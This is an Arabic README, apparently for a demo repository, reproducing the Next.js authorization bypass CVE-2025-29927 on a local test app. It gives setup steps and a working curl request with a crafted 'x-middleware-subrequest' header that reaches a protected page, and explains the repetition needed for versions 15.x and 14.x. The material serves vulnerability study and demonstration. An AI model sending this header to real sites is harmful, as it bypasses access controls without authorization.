
عرض توضيحي لإعادة إنتاج ثغرة تجاوز التفويض CVE-2025-29927 في Next.js.
هذا عرض توضيحي لإعادة إنتاج ثغرة تجاوز التفويض في Next.js.
لمزيد من التفاصيل حول هذه الثغرة، راجع ملخص ثغرة Next.js CVE-2025-29927.
git clone https://github.com/t3tra-dev/cve-2025-29927-demo.git
cd cve-2025-29927-demo
git pull origin main
npm install
npm run dev
x-middleware-subrequest باستخدام curl أو ما شابه ذلك.curl -i -H "x-middleware-subrequest: middleware:middleware:middleware:middleware:middleware" http://localhost:3000/protected
سيؤدي هذا إلى حدوث تجاوز للتفويض، وستتمكن من الوصول إلى صفحة /protected.
قيمة middleware هي اسم الوسيط (middleware) الذي يتعرف عليه Next.js. نظرًا لوجود وسيط باسم middleware في هذا التطبيق التجريبي، فإن تحديد هذه القيمة يؤدي إلى حدوث تجاوز للتفويض.
[!TIP] في Next.js 15.x، تم تعيين
MAX_RECURSION_DEPTHإلى 5، لذلك يجب تكرار قيمة middleware مفصولة بـ:خمس مرات أو أكثر. في الإصدارات الأقدم (14.x)، كان يكفي استخدام « middleware » فقط. نظرًا لأن هذا التطبيق التجريبي يستخدم Next.js 15.2.2، فإن هذه القيمة مطلوبة.